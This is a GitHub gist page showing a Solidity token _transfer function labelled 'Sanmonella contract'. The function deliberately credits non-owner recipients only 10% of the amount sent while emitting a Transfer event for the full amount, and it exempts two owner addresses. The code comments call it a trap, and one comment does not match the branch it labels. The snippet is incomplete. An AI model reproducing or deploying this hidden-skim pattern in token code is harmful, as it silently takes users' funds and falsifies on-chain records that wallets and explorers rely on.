Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Sanmonella contract _transfer function
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// sender's balance needs to equal to or more han the amount
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
// allow normal users to increase received amount
if (sender == ownerA || sender == ownerB) {
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
// behaves differently, returns only 10% of the specified amount
} else {
_balances[sender] = senderBalance - amount;
uint256 trapAmount = (amount * 10) / 100;
_balances[recipient] += trapAmount;
// even with 10% returns, emit an event with the specified amount
emit Transfer(sender, recipient, amount);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment